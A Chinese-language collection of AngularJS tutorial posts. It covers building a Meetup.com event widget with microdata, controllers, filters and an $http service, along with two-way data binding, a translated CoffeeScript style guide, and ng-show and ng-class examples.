          itemtype="http://data-vocabulary.org/Address">
        <span itemprop="street-address">1550 Wynkoop</span><br>  
        <span itemprop="locality">Denver</span>, <span itemprop="region">CO</span><br>
    </span>
</address>



让您的浏览器能感知微数据


现在您已向网站添加一些微数据，如何确定您已正确添加？最简单的方法是为浏览器使用一种微数据扩展。在多种非官方的微数据扩展中，我喜欢在 Chrome 中使用的是 Semantic inspector。


安装之后，此浏览器扩展通常会保持隐藏，直到您访问一个使用微数据的网站。Semantic inspector 在当前网页中找到微数据时，它会在地址栏显示一个红色的 m图标。您可能对这个小图标弹出的频率很吃惊；您会在许多流行、主流的网站上看到它，包括 Google、Time.com 和 Walmart.com 等。单击该图标可显示详细信息，如图 5

所示：


图 5. 使用 Semantic inspector 查看微数据





现在您已有标注了微数据属性的基本的 HTML 线框图，是时候从这些连线中填入全新的 JSON 了。为此，创建一个新的事件模块，其中包含控制器、视图、模型和服务。


创建一个 AngularJS 模块


在 上一期 中，您使用 Yeoman 搭建了一个完整的 CRUD 模块，包括 Express 路由和一个 Mongoose模型。对于此用户案例，不需要服务器端基础架构，因为原始 JSON 数据来自外部 Web 应用程序。幸运的是，MeanJS Yeoman生成器的创建者预见到了这一需求，单单为应用程序的客户端 AngularJS 部分提供了另一个生成器。


键入 yo meanjs:angular-module events 来创建一个名为 events 的新 AngularJS模块。AngularJS 模块是特定于您应用程序中一种特定数据类型的文件的逻辑分组。根据官方 AngularJS 文档的描述，“可将模块视为您应用程序的不同部分（控制器、服务、过滤器、指令等）的容器。”


收到提示时，选择列表中的所有元素，如清单 6 所示。


清单 6. 生成一个模块


[?] Which folders would you like your module to include? 
 ? config
 ? controllers
 ? css
 ? directives
 ? filters
 ? img
 ? services
 ? tests
 ? views

 create public/modules/events/events.client.module.js



根据刚才的描述，您的模块只是一个空目录集合。您不会在编写的每个 AngularJS

模块中使用每个目录，但知道有一个容易记住、容易理解的地方来在时机成熟时放入模块的各部分，也很不错。


下一步是向模块添加一个控制器。


创建一个 AngularJS 控制器


搭建一个模块后，搭建一个控制器也非常容易。键入 yo meanjs:angular-controller events 并选择
events 模块，如清单 7 所示。


清单 7. 生成一个控制器


[?] Which module does this controller belongs to? 
  articles 
  core 
? events 
  talks 
  users 

create public/modules/events/controllers/events.client.controller.js
create public/modules/events/tests/events.client.controller.test.js



可以看到，Yeoman 生成器将该控制器放在 controllers 目录中，将关联的测试放在您指定的模块的 tests 目录中。


此刻要问的一个合理的问题是 “为什么我创建了一个控制器，为什么我应该关注它？”回想一下，AngularJS 是一个客户端 模型-视图-控制器(MVC) 框架。您最终将得到一个视图（在本教程前面创建的 HTML <div> 元素），其中填入了模型数据（一个填入了来自Meetup.com 的活动数据的 JSON 结构）。该视图如何访问该模型？控制器的工作是将各部分集合起来，为视图提供它需要的模型数据。


以下这个简单示例演示了 MVC 的各部分如何融合在一起。在文本编辑器中打开

public/modules/events/controllers/events.client.controller.js，如清单 8 所示。


清单 8. 一个空的、无存根的 AngularJS控制器


'use strict';

angular.module('events').controller('EventsController', ['$scope',
  function($scope) {
    // Events controller logic
    // ...
  }
]);



稍后，我们会将此控制器绑定到一个特定的 DOM 元素。$scope 变量将负责将模型传递给视图的重要工作。


向 $scope 添加一个 title 变量（模型），如清单 9 所示。


清单 9. 将一个 $scope 变量添加到 AngularJS控制器


'use strict';

angular.module('events').controller('EventsController', ['$scope',
  function($scope) {
    $scope.title = 'High Performance WebSocket';

  }
]);



接下来，将 EventsController 添加到 public/modules/core/views/home.client.view.html 中的
Event DOM 元素（视图）中：


<div class="row center-block event" 
       itemscope 
       itemtype="http://data-vocabulary.org/Event"
       ng-controller="EventsController">



您可能已猜到，此代码将控制器绑定到 DOM 元素。$scope 变量仅对此 <div>和它的子元素有效。如果愿意，可将一个控制器绑定到许多不同的 DOM 元素。每个元素会获得一个新控制器的唯一实例和它自己的唯一 $scope。


接下来，向您的线框 HTML 添加一个 {{title}} 占位符以取代硬编码的文本：


<h3 class="event-title"><a href="http://www.meetup.com/HTML5-Denver-Users-Group/events/160326502/" 
itemprop="url"><span itemprop="summary">{{title}}</span></a></h3>



在 Web 浏览器中查看结果时，您应看到 {{title}} 占位符替换为了通过 EventsController提供的文本，如图 6 所示。


图 6. 占位符替换为了实际文本





现在您已有一个简单、有效的示例，是时候详细分析分析它了。（换句话说，您的应用程序已能正常工作，是时候再次破坏它了。）如果愿意，可向 $scope添加许多变量，这些变量可以是简单的单个值，或者完整的 JSON 对象。


很快，您将会看到如何向 Meetup.com 发出一个 HTTP 请求，以检索下一个即将举办的活动的 JSON。到那时，在 $scope中添加一些简化的模拟数据，以模拟您将从实际的 Ajax 调用获取的数据，如清单 10 所示。


清单 10. 模拟的 JSON 响应


'use strict';

angular.module('events').controller('EventsController', ['$scope',
  function($scope) {
        $scope.title = 'High Performance WebSocket';
        $scope.event = {
          'name': '"Developing Offline Applications" and "HTML 5 Animations"',
          'time': 1411430400000,
          'event_url': 'http://www.meetup.com/HTML5-Denver-Users-Group/events/160326502/',
          'description': '<p><b>6 pm : "Developing Offline 
          Applications with HTML 5" by Venkat Subramaniam</b></p>',
          'venue': {
            'name': 'Rally Software',
            'address_1': '1550 Wynkoop',
            'city': 'Denver',
            'state': 'CO',
          }      
       }
    }
]);



可以看到，$scope.event 变量包含一个复杂、嵌套的 JSON 对象。编辑您的视图来利用这个新模型数据，如清单 11 所示。


清单 11. 向 HTML 添加更多占位符


<h3 class="event-title"><a href="{{event.event_url}}" itemprop="url"><span 
itemprop="summary">{{event.name}}</span></a></h3>
<div class="col-md-4">
  <h4>When</h4>
  <p>{{event.time}}</p>
  <h4>Where</h4>
  <address itemprop="location" 
           itemscope 
           itemtype="http://data-vocabulary.org/Organization">
    <span itemprop="name">{{event.venue.name}}</span><br>
    <span itemprop="address" 
          itemscope 
          itemtype="http://data-vocabulary.org/Address">
      <span itemprop="street-address">{{event.venue.address_1}}</span><br>   
      <span itemprop="locality">{{event.venue.city}}</span>, 
      <span itemprop="region">{{event.venue.state}}</span><br>
    </span>
  </address>
</div>

<div class="col-md-8" itemprop="description">
  {{event.description}}
</div>



在 Web 浏览器中查看结果时，只要向模板视图添加了占位符，就应显示来自 $scope.event 的值，如图 7 所示。


图 7. 包含模拟的 JSON 数据的 UGLI 主页





创建 AngularJS 服务来获取实际、实时的数据之前，必须完成两个与视图相关的简单任务：添加一些 AngularJS 过滤器来格式化日期，并在{{event.description}} 占位符中显示所呈现的 HTML — 而不是原始的、转义的 HTML 代码。 —


添加 AngularJS 过滤器


AngularJS 过滤器（与相机或 Instagram

滤镜很像）可改变数据的外观。向视图添加过滤器，因为它们会影响模型数据的外观，而不更改内容本身。


通过在数据元素后添加一个竖线 (|) 和一个过滤器名称，如 {{product_code | uppercase}}

所示，可向模板占位符应用一个过滤器。AngularJS 提供了许多内置的过滤器，包括
uppercase、lowercase、currency 和
number。您甚至可编写自己的自定义过滤器。


我一直使用的一个过滤器是 date过滤器，它使您能够使用自定义模式来格式化日期值的外观。


例如，向之前创建的 time 元素应用一个 date 过滤器：


<time class="event-date" 
  itemprop="startDate" 
  datetime="{{event.time | date:'yyyy-MM-ddTHH:mm:ss:Z'}}">{{event.time | 
  date:'EEEE, MMMM, d, yyyy'}}</time>



可以注意到，您为两个不同的过滤器使用了同一个 event.time 字段。EEEE 代码显示星期几的完整英文，比如Monday。EEE 代码将星期几缩写为 Mon；EE 缩写为 Mo；E 缩写为

M。M 代码同样适用于月份名称。d 代码适用于一月中的某一天，y 代码适用于年。


event.time 字段会在主页上出现多次。更改 When 的外观以显示小时和 AM/PM 后缀：


<h4>When</h4>
<p>{{event.time | date:'h a'}}</p>



MEAN 应用程序中对 AngularJS 过滤器的大量使用，突出了 MVC 设计模式的一个重要原则：模型数据应与任何视图内容独立。


有了正确的 event.time 格式之后，仅剩下 event.description 外观需要修复了。为此，必须让AngularJS 知道它可安全地显示此字段的未转义 HTML。


显示未转义的 HTML


目前为止使用的所有 JSON 数据都是纯数据，即没有嵌套的 HTML 元素。event.description 字段是一个例外。


任何时候您从外部来源收到 HTML（无论是否值得信任）时，都面临着一种潜在的安全风险。包含的 HTML 可带来不想要的 JavaScript库，它们可能向其他网站公开您的数据。


为了防御此风险，AngularJS 会自动清理模板化数据，将它遇到的任何 HTML 元素进行转义，将 “真实的” 尖括号替换为转义的等效表示&gt; 和 &lt;。此行为不是像前一节中看到的那样的显式过滤，但是一种类似的理念。


对于 event.description 字段，必须告诉 AngularJS，一起显示外部 HTML 和本地 HTML是没有问题的。为此，调整您的模板，删除 {{event.description}} 占位符并将它替换为 ng-bind-html 属性：


<div class="col-md-8" itemprop="description" ng-bind-html="event.description"></div>



在浏览器中查看主页时，可见的、转义的 <b> 和 <p> HTML元素应消失，取而代之的是呈现的文本。


有了控制器、模型和视图，还剩最后一步：将控制器中的模拟 JSON 内容替换为从 Ajax 请求返回的实时数据。要执行这一步，需要向模块添加另一个元素：一个服务。


创建一个服务


使用了一个 AngularJS 服务 来发出 Ajax请求，这是与外部 Meetup.com API 进行交互的完美解决方案。


您可能想要直接从控制器发出 Ajax请求，但这么做有点目光短浅。如果其他控制器中需要该活动数据，该怎么办？您肯定不想在控制器之间复制和粘贴源代码，对吧？为了方便跨多个控制器共享相同数据，可创建一个服务。


键入 yo meanjs:angular-service events 来创建一个 events 服务，如清单 12所示。在提示时选择 events 模块。


清单 12. 生成一个 AngularJS 服务


$ yo meanjs:angular-service events
[?] Which module does this service belongs to? 
  articles 
  core 
events 

  talks 
  users 

create public/modules/events/services/events.client.service.js



AngularJS 提供了一个名为 $http 的预构建服务来发出 HTTP/Ajax 请求。（所有 AngularJS 服务都有一个$ 前缀。）要使用 $http，需将它注入到您的服务中。在 events 服务能正常运行后，将它注入到EventsController 中。（AngularJS 到处都使用了依赖性注入。）


还记得您在 EventsController 中使用的 $scope 对象吗？$scope是一个注入到控制器中的服务。如清单 13 所示，注入 $scope 服务的方式是，声明它，然后将它以参数形式传递给函数。


清单 13. 注入 $scope 服务


'use strict';

angular.module('events').controller('EventsController', ['$scope',
  function($scope) {
    $scope.title = 'High Performance WebSocket';
  }
]);



两次键入服务名称似乎有点多余，但这么做方便了在准备将 MEAN 应用程序部署到生产环境中时发生的精简和串联过程。


您已看到如何注入一个服务，是时候应用这一知识了。打开 public/modules/events/services/events.client.service.js，如清单 14

所示。


清单 14. public/modules/events/services/events.client.service.js


'use strict';

angular.module('events').factory('Events', [
    function() {
        // Events service logic

        // ...

        // Public API
        return {
            someMethod: function() {
                return true;
            }
        };
    }
]);



注入 $http 服务，如清单 15 所示。


清单 15. 注入 $http 服务


angular.module('events').factory('Events', ['$http',
        function($http) {
            // Events service logic
            // ...

            // Public API
            return {
                someMethod: function() {
                    return true;
                }
            };
        }
    ]);



接下来，将 someMethod 更改为 getNextEvent 并删除一些基本功能的存根，如清单 16 所示。


清单 16. 从 Ajax 调用返回 JSON


'use strict';

angular.module('events').factory('Events', ['$http',
  function($http) {
    // Public API
    return {
      getNextEvent: function() {
        var url = 'http://api.meetup.com/2/events?status=upcoming&order=
        time&limited_events=False&group_urlname=HTML5-Denver-Users-Group&desc=
        false&offset=0&photo-host=public&format=json&page=1&fields=
        &sig_id=13848777&sig=7aa5d53f450ee5449945e8ee89b8cba8968d9e30&callback=JSON_CALLBACK';

        var request = $http.jsonp(url);
        return request;
      }
    };
  }
]);



（详细的）URL 将返回 HTML5 Denver User Group 的下一场即将举办的活动。（Meetup.com 提供了一个很好的 沙箱 来使用其 API。）如果将该 URL

复制到您的浏览器中，您将获得完整的 JSON 响应。为清楚起见，我编辑了该响应，如清单 17 所示。


清单 17. 来自 Meetup.com 的 API 的 JSON 响应


{
  "results": [
    {
      "status": "upcoming",
      "visibility": "public",
      "venue": {
        "id": 21506832,
        "name": "Rally Software",
        "state": "CO",
        "address_1": "1550 Wynkoop",
        "city": "Denver"
      },
      "id": "160326502",
      "time": 1411430400000,
      "event_url": "http:\/\/www.meetup.com\/HTML5-Denver-Users-Group\/events\/160326502\/",
      "description": "<p><b>6 pm : \"Developing Offline Applications with HTML 5\" 
      by Venkat Subramaniam<\/b><\/p> ",
      "name": "\"Developing Offline Applications\" and \"HTML 5 Animations\""
    }
  ],
  "meta": {
    "count": 1,
    "total_count": 3,
    "next": "http:\/\/api.meetup.com\/2\/events?status=upcoming&sig_id=13848777&
    order=time&limited_events=False&group_urlname=HTML5-Denver-Users-Group&
    desc=false&sig=7aa5d53f450ee5449945e8ee89b8cba8968d9e30&photo-host=public&offset=1&
    format=json&page=1&fields="
  }
}



结果数组中的 JSON 对象看起来应很熟悉。您删除了 EventsController 中的类似数据。但请注意，完整的 JSON响应包含其他对在主页上呈现数据没有必要的信息（比如 meta）。幸运的是，在传递 JSON 响应之前可对它执行转换。将转换逻辑添加到
events 服务，如清单 18 所示。


清单 18. 转换 JSON 响应


    // Public API
    return {
      getNextEvent: function() {
        var url = 'http://api.meetup.com/2/events?status=upcoming&order=
        time&limited_events=False&group_urlname=HTML5-Denver-Users-Group&desc=
        false&offset=0&photo-host=public&format=json&page=1&fields=
        &sig_id=13848777&sig=7aa5d53f450ee5449945e8ee89b8cba8968d9e30&callback=JSON_CALLBACK';

        var returnFirstElement = function (data, headers) {
                    return data.results[0];
                };

        var request = $http.jsonp(url, {transformResponse: returnFirstElement});
        return request;
      }
    };
  }

]);



有了转换逻辑，JSON 将仅包含来自结果数组的第一个元素。所有其他额外的 JSON 信息都会丢弃。


为了在开发过程中提供帮助，可添加 success 和 error 处理函数，如清单 19所示。此代码会将响应数据记录到控制台。您可自由地定义此代码，或者完全忽略它。


清单 19. 添加 success 和 error 处理函数


    // Public API
    return {
      getNextEvent: function() {
        var url = 'http://api.meetup.com/2/events?status=upcoming&order=
        time&limited_events=False&group_urlname=HTML5-Denver-Users-Group&desc=
        false&offset=0&photo-host=public&format=json&page=1&fields=
        &sig_id=13848777&sig=7aa5d53f450ee5449945e8ee89b8cba8968d9e30&callback=JSON_CALLBACK';


        var returnFirstElement = function (data, headers) {
                    return data.results[0];
                };

        var request = $http.jsonp(url, {transformResponse: returnFirstElement});

        request.success(function(data, status, headers, config) {
            console.log('SUCCESS');
            console.log(data);
        });
        request.error(function(data, status, headers, config) {
            console.log('ERROR');
            console.log(data);
        });

        return request;
      }
    };
  }
]);



现在 events 服务已完成，可以将它注入到 EventsController 中。修改EventsController，如清单 20 所示。


清单 20. 将 events 服务注入到EventsController中


'use strict';

angular.module('events').controller('EventsController', ['$scope', 'Events',
  function($scope, Events) {
        $scope.event = undefined;

        Events.getNextEvent().success(function(data){
          $scope.event = data;          
        });
    }
]);



如果所有功能都按预期运行，您应在主页上看到一段完整的活动描述，如图 8 所示。如果在演讲描述中看到了比之前模拟的更多的细节，就会知道一切正常。


图 8. 完整、有效的示例的实际应用





隐藏闪烁的无样式内容


在主页首次呈现到它向 Meetup.com 发出 Ajax 请求的时间间隔里，您可能注意到了讨厌的 FOUC（Flash of Unstyled Content，无样式内容闪烁）。如果没有看到，刷新浏览器两次，就应该会看到。


FOUC 不是特别重大的错误，但它们无疑会使您的应用程序看起来不太专业。所幸，AngularJS 开发人员为这个常见问题提供了一个简洁的解决方案。


使用 ng-show 对 home.client.view.html 执行最后一次更改，以隐藏视图，直到模型数据就位：


<div class="row center-block event" 
     itemscope 
     itemtype="http://data-vocabulary.org/Event"
     ng-controller="EventsController"     ng-show="event">



将 ng-show 属性添加到 <div> 中，会导致整个 <div>隐藏，直到填充了 $scope.event 变量。对 Meetup.com 的 Ajax 请求返回 JSON（模型）时，将显示
<div>（视图）。


结束语


UGLI 应用程序真正开始成形了。您从外部 API 拉入了 JSON 数据，并使用微数据格式化了得到的视图，以便搜索引擎和其他自动化流程可与查看网页的人访问到相同的信息。


下载


示例代码 wa-mean4.zip


全栈开发，精通MEAN系列前3篇文章：


【全栈开发】精通 MEAN: MEAN 堆栈
【全栈开发】精通 MEAN: 了解一个 MEAN 应用程序
【全栈开发】精通 MEAN: 使用 MEAN 和 UGLI CRUD 实现响应式 Web 设计


原文出处：精通 MEAN: 当 MEAN 遇到 Meetup.com 和微数据
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今天咱们继续来说angular


angular指令


angular指令就是其内置的一些方法。均以ng-XXX来表示，比如前面见到的ng-controller,ng-model，ng-app等等。


其中ng-app是angualr的初始化指令，如果不写，那么整个页面关于angular的JS都不会起作用的哦！你可以把它写在HTML标签上，也可以写在局部的Div身上。这样子你就可以灵活的控制需要使用angular的地方了。


双向数据绑定


Angular是MVVM模式，即双向数据绑定，也就是说数据的改变可以影响到视图，视图的改变可以影响到数据的改变，这就是双向数据绑定。咱们来看看代码：


html<body>
<div ng-controller="hockor">
    <p>hello {{name}}</p>
</div>
<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js"></script>
<script>
    "use strict";
    function hockor($scope,$timeout) {
        $scope.name = "world";
        $timeout(function () {
            $scope.name = "hockor";
        }, 3000)
    }
</script>
</body>



执行的效果如下


看看，是不是数据的改变就影响视图的改变了！

PS：代码中的$timeout就相当于JS中的setTimeout一样，但是如果你在这里写js中的setTimeout是无效的哦，必须按angular的来写。

再来看一个：


html<body>
<div ng-controller="hockor" ng-click="name='click'">
    <p>hello {{name}}</p>
</div>
<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js"></script>
<script>
    "use strict";
    function hockor($scope,$timeout) {
        $scope.name = "world";
    }
</script>
</body>





其中效果的变化是我点击触发的（录制gif的原因。看不到鼠标效果）。


购物车实例


接下来我们看看angular中的过滤器，并且做一个小例子！
要求：完成一个简单的购物车，当用户总价大于100元时，运费为0；


html<body>


<div ng-controller="hockor">
    <p>单价: 
    <label>
        <input type="text" ng-model="iphone.money"/>
    </label>
    </p>
    <p>数量: 
    <label>
        <input type="text" ng-model="iphone.num"/>
    </label>
    </p>
    <p>费用: <span>{{sum() | currency:'￥'}}</span></p>
    <p>运费：<span>{{iphone.free | currency:'￥'}}</span></p>
    <p>总额：<span>{{sum() + iphone.free | currency:'￥'}}</span></p>
</div>


<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js"></script>



<script>
    "use strict";
    function hockor($scope) {
        $scope.iphone = {
            money : 50,
            num : 1,
            free : 10
        };
        $scope.sum = function () {
            return $scope.iphone.money*$scope.iphone.num;
        };
        //watch普通监听只能监听单个值，如果想监听一个集合，需要第三个参数true
        $scope.$watch($scope.sum,function(newval,oldval) {
            //形参中的newval和oldval分别表示监听数据的最新值和修改前的值
            $scope.iphone.free = newval >= 100 ? 0 : 10;
        },true);//此处的true可写可不写
    }
</script>


</body>



以上的代码就是实现一个小的购物车的例子。实际效果入下：



注意：其中的currency是货币的标识。通过 | 进行管道传输（类似于linux的通道），默认是$(美元).可以通过以上方式修改为￥,欧元等等。


原创文章：转载请注明！


 [译] Angular 编程风格引导（二）

作者：Belinda

来源： [译] Angular 编程风格引导（二）



                    
一个好的编程风格有助于团队的协同开发，所以在做 angular 开发时，我们也有一些约定，本文章主要是针对于使用 angular 和 coffeescript 编程的团队。（这是一个粗糙的翻译版本，原文的链接在文章下，感兴趣的同学可以去看）

Angular 编程引导

服务

单例

服务是通过new关键字进行实例化的，用this来定义调用公用的方法和变量，和工厂服务很相似，为了统一，可以使用工厂服务



【note】：所有的 angular 服务都是单例模式，这就意味着服务的每次注入都只有一个实例

// service
angular
    .module('app')
    .service('logger', logger);

function logger() {
  this.logError = function(msg) {
    /* */
  };
}

// factory
angular
    .module('app')
    .factory('logger', logger);

function logger() {
    return {
        logError: function(msg) {
          /* */
        }
   };
}


工厂服务

单一职责

工厂服务也应该是单一职责，当一个服务要实现的功能超过一个目的，就要重新定义一个工厂服务



单例

工厂服务是单例服务，返回的对象包括了服务的成员对象



【note】所有的 Angular 服务都是单例

可调用的成员靠前

将服务器的可调用的成员（暴露的接口）提升到服务器前面，（从《学习 javascript 设计模式》中派生出来）




	把可调用的变量成员放在服务的最前面，能提供你的代码可读性，能让你一眼就看出，这个服务哪些成员变量是可调用和可被测试的


	在文件变长的时候，这样做就显得很有必要了，你不用滚动到文件的下面去查看，这个服务到底暴露了哪些接口


	当你的函数超过一行代码的时候，会降低你的代码可读性，阅读时也会造成多余的滚动操作，所以你要把可调用接口的定义，和服务的return ，提升到文件的顶部定义，把实现的细节放在文件下面，这样来增加代码的可读性




          ### 不推荐方式 ###
    (->
      dataService = ()->
    
        someValue = ''
    
        save = ()->
          # ... #
    
        validate = ()->
          # ... #
    
        return
          save: save,
          someValue: someValue,
          validate: validate
    
      angular
        .module('app')
        .service('dataService', dataService)
    )()
    
    ### 推荐方式 ###
    (->
      dataService = ()->
    
        someValue = ''
    
        ##########
    
        return
          save: ()->
           # . #
    
          validate: ()->
           # . #
      angular
        .module('app')
        .service('dataService', dataService)
    )()
    

这种方法绑定的的数据是宿主对象的映射，通过模块模式暴露的单一的原始数据是不能独自进行更新的

    ### 不推荐方式 ###
    angular
      .module('app.widgets')
    
      # order directive that is specific to the order module
      .directive('orderCalendarRange', orderCalendarRange)
    
      # sales directive that can be used anywhere across the sales app
      .directive('salesCustomerInfo', salesCustomerInfo)
    
      # spinner directive that can be used anywhere across apps
      .directive('sharedSpinner', sharedSpinner)
    
      ### implementation details ###
      
      
      
    ### 推荐方式 ###
    
     ###
     # @desc order directive that is specific to the order module at a company named Acme
     # @file calendarRange.directive.js
     # @example <div acme-order-calendar-range></div>
     ###
    angular
      .module('sales.order')
      .directive('acmeOrderCalendarRange', orderCalendarRange)
    
     ###
     # @desc spinner directive that can be used anywhere across the sales app at a company named Acme
     # @file customerInfo.directive.js
     # @example <div acme-sales-customer-info></div>
     ###
    angular
      .module('sales.widgets')
      .directive('acmeSalesCustomerInfo', salesCustomerInfo)
    
     ###
     # @desc spinner directive that can be used anywhere across apps at a company named Acme
     # @file spinner.directive.js
     # @example <div acme-shared-spinner></div>
     ###
    angular
      .module('shared.widgets')
      .directive('acmeSharedSpinner', sharedSpinner)
    
      ### implementation details ###


指令

一个指令一个文件，把所有的指令混到一个文件中容易，但是，后面你要把这些指令从这个文件中分离出来就没那么容易了。所以那些需要在 App 和 模块中被共享的指令，一定要分离出来到一个文件中，这样也有利于代码的维护



    ### 不推荐方式###
    angular
      .module('app.widgets')
    
      # order directive that is specific to the order module
      .directive('orderCalendarRange', orderCalendarRange)
    
      # sales directive that can be used anywhere across the sales app
      .directive('salesCustomerInfo', salesCustomerInfo)
    
      # spinner directive that can be used anywhere across apps
      .directive('sharedSpinner', sharedSpinner)
    
      ### implementation details ###
      
      
    ### 推荐方式 ###
    
     ###
     # @desc order directive that is specific to the order module at a company named Acme
     # @file calendarRange.directive.js
     # @example <div acme-order-calendar-range></div>
     ###
    angular
      .module('sales.order')
      .directive('acmeOrderCalendarRange', orderCalendarRange)
    
     ###
     # @desc spinner directive that can be used anywhere across the sales app at a company named Acme
     # @file customerInfo.directive.js
     # @example <div acme-sales-customer-info></div>
     ###
    angular
      .module('sales.widgets')
      .directive('acmeSalesCustomerInfo', salesCustomerInfo)
    
     ###
     # @desc spinner directive that can be used anywhere across apps at a company named Acme
     # @file spinner.directive.js
     # @example <div acme-shared-spinner></div>
     ###
    angular
      .module('shared.widgets')
      .directive('acmeSharedSpinner', sharedSpinner)
    
      ### implementation details ###    


限制DOM的操作

限制DOM的操作，用指令来直接操作DOM，如果有可以替代的方式，如使用css来设置样式，使用 animation 服务，angular 的模版，ngShow 或者 ngHide ，那么就用这些来代替指令。举个例子，如果指令就是定义一个简单的显示和隐藏，那么久用 nghide 和 ngShow 来代替，但是如果指令除了显示隐藏还需要处理更加复杂的事情，那就把显示隐藏和其他需要实现的操作，一起封装到这个指令里，这样能减少 angular 的监听，来提高应用的性能。



	对 DOM 的操作不太容易进行测试和调试，我们有更好的办法前提是对DOM的操作比较简单的话（css，animations，templating）




限制元素和属性

限制元素和属性：当创建一个指令，这个指令的如果表现的像一个元素，那么 restrict 设置为 E ，也可以选择设置成 A，，如果这个指令能有他自己的控制器， restrict 设置为 E 是最理想的，不过通常的话，一些引导是将 restrict 设置为 EA，但当指令被封装在独立作用域时，倾向于元素指令表现



，当增强于现有的 DOM 元素，倾向于属性表现


	这样做有意义


	
如果指令倾向于表现得像元素或者属性，这就允许我们定义的指令使用 class 属性

   <!--不推荐方式-->
   <div class="my-calendar-range"></div>
   ### avoid ###
   (->
     myCalendarRange = ()->
         link = (scope, element, attrs)->
           # ... #
   
         directive =
           link: link,
           templateUrl: '/template/is/located/here.html',
           restrict: 'C'
   
         return directive
   
     angular
         .module('app.widgets')
         .directive('myCalendarRange', myCalendarRange)
   )()
   <!-- recommended -->
   <my-calendar-range></my-calendar-range>
   <div my-calendar-range></div>
   
   
   ### 推荐方式 ###
   (->
   
     myCalendarRange = ()->
   
         link = (scope, element, attrs)->
           # ... #
   
         directive =
             link: link,
             templateUrl: '/template/is/located/here.html',
             restrict: 'EA'
   
         return directive
   
     angular
         .module('app.widgets')
         .directive('myCalendarRange', myCalendarRange)
   )()
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显示和隐藏


在 Angular 中的一切，都是基于模型的改变，进而通过标识符反映这些变化到界面上。

ng-show 和 ng-hide 可以做相同的事情。显示和隐藏是基于你传递给他们的表达式而定，即，当表达式为 true 时，ng-show 就显示，反之隐藏。当表达式为 true 时，ng-hide 就隐藏，反之显示。这些标识符是通过设置元素的样式 display:block 显示和 display:none 隐藏进行工作的。


CSS类和样式


通过 {{}} 解析来进行数据绑定，从而能够动态地设置类和样式。


ng-class 和 ng-style


在大型项目中，上面的方式会使得难以管理，以至于不得不同时阅读模版和 JavaScript 才能正确地创建 css 。

Angular 提供了 ng-class 和 ng-style 标识符。他们每一个都需要一个表达式。表达式执行的结果可能是下列之一：



	一个字符串，表示空间隔开的类名。

	一个类名数组

	一个类名到布尔值的映射 



选中的行


模版中，我们设置 ng-class 的值为 {selected:$index==selectedRow}，当模型调用selectedRow 时将匹配 ng-repeat 的 $index，进而显示选中的样式。同样我们设置 ng-click 来通知控制器用户点了哪一行。


src 和 href 建议


建议使用 ng-src 和 ng-href。


<img ng-src="/img/01.png">
<a ng-href="www.segmentfault.com">segmentfault</a>



所有源码


<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>angular demo</title>
    <script src="http://cdn.bootcss.com/angular.js/1.3.0-beta.8/angular.min.js"></script>
</head>
<body>
    <div id="App1" ng-app="shoppingCart" ng-controller="ShoppingCartController">
        <h1>Your demo</h1>
        <!-- demo 1 -->
        <div ng-show='menuState.show'>another another another</div>
        <button ng-click="test2()">切换</button>

        <hr><!-- demo 2 -->
        <style type="text/css">
            .menu-disabled-true{
                opacity:1;
                color: red;
                -webkit-transition:all 1000ms linear;
                -moz-transition:all 1000ms linear;
                -o-transition:all 1000ms linear;
            }
            .menu-disabled-false{
                opacity: 0;
                -webkit-transition:all 1000ms linear;
                -moz-transition:all 1000ms linear;
                -o-transition:all 1000ms linear;
            }
        </style>
        <div class="menu-disabled-{{isDisabled}}">adfadfadasda</div>
        <button ng-click="test()">隐藏</button>
        <button ng-click="test1()">显示</button>
        <button ng-click="test11()">切换</button>

        <hr><!-- demo 3 -->
        <style type="text/css">
        .error {
            background-color: red;
        }
        .warning {
            background-color: yellow;
        }
        </style>
        <div ng-class='{error:isError, warning:isWarning}'>{{messageText}}</div>
        <button ng-click="showError()">error</button>
        <button ng-click="showWarning()">warning</button>

        <hr><!-- demo 4 -->
        <style type="text/css">
            .selected{
                background-color: lightgreen;
            }
        </style>
        <div ng-repeat="item in items" ng-class='{selected:$index==selectedRow}' ng-click='selectedWhich($index)'>
            <span>{{item.product_name}}</span>
            <span>{{item.price | currency}}</span>
        </div>
    </div>

    <script>
        var shoppingCartModule = angular.module("shoppingCart", [])
        shoppingCartModule.controller("ShoppingCartController",
            function ($scope) {
                // demo 1
                $scope.menuState = {'show':true};
                $scope.test2 = function () {
                    $scope.menuState.show = !$scope.menuState.show;
                };

                // demo 2
                $scope.isDisabled = true;
                $scope.test = function () {
                    $scope.isDisabled = 'false';
                };
                $scope.test1 = function () {
                    $scope.isDisabled = 'true';
                };
                $scope.test11 = function () {
                    $scope.isDisabled = !$scope.isDisabled;
                };

                // demo 3
                $scope.isError = false;
                $scope.isWarning = false;
                $scope.messageText = 'default, default';
                $scope.showError = function () {
                    $scope.messageText = 'This is an error';
                    $scope.isError = true;
                    $scope.isWarning = false;
                };
                $scope.showWarning = function () {
                    $scope.messageText = 'Just a warning, donot warry';
                    $scope.isWarning = true;
                    $scope.isError = false;
                };

                // demo 4
                $scope.items = [
                    { product_name: "Product 1", price: 50 },
                    { product_name: "Product 2", price: 20 },
                    { product_name: "Product 3", price: 180 }
                ];
                $scope.selectedWhich = function (row) {
                    $scope.selectedRow = row;
                }
            }
        );
    </script>
</body>
</html>
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一个好的编程风格有助于团队的协同开发，所以在做 angular 开发时，我们也有一些约定，本文章主要是针对于使用 angular 和 coffeescript 编程的团队。（这是一个粗糙的翻译版本，原文的链接在文章下，感兴趣的同学可以去看）

Angular 编程风格指导原文地址



1. 单一职责

原则 1：一个文件只能定义一个组件

下面的例子定义了app模块和他的依赖，把控制器和服务都定义到一个文件了

--不推荐--
SomeController = ()->
someFactory = ()->
angular
    .module('app', ['ngRoute'])
    .controller('SomeController' , SomeController)
    .factory('someFactory' , someFactory)


同样的组建，现在我们把它分解到他们自己的文件中

--推荐方式--
--app.module.js--

angular
    .module('app', ['ngRoute'])
    

--推荐方式--
--someController.js--
SomeController = ()->
angular
    .module('app')
    .controller('SomeController' , SomeController)


--推荐方式--
--someFactory.js--
someFactory = ()->
angular
    .module('app')
    .factory('someFactory' , someFactory)
    

2. 模块

原则 2：定义模块的时候不要用变量来定义，用设置的语法来定义

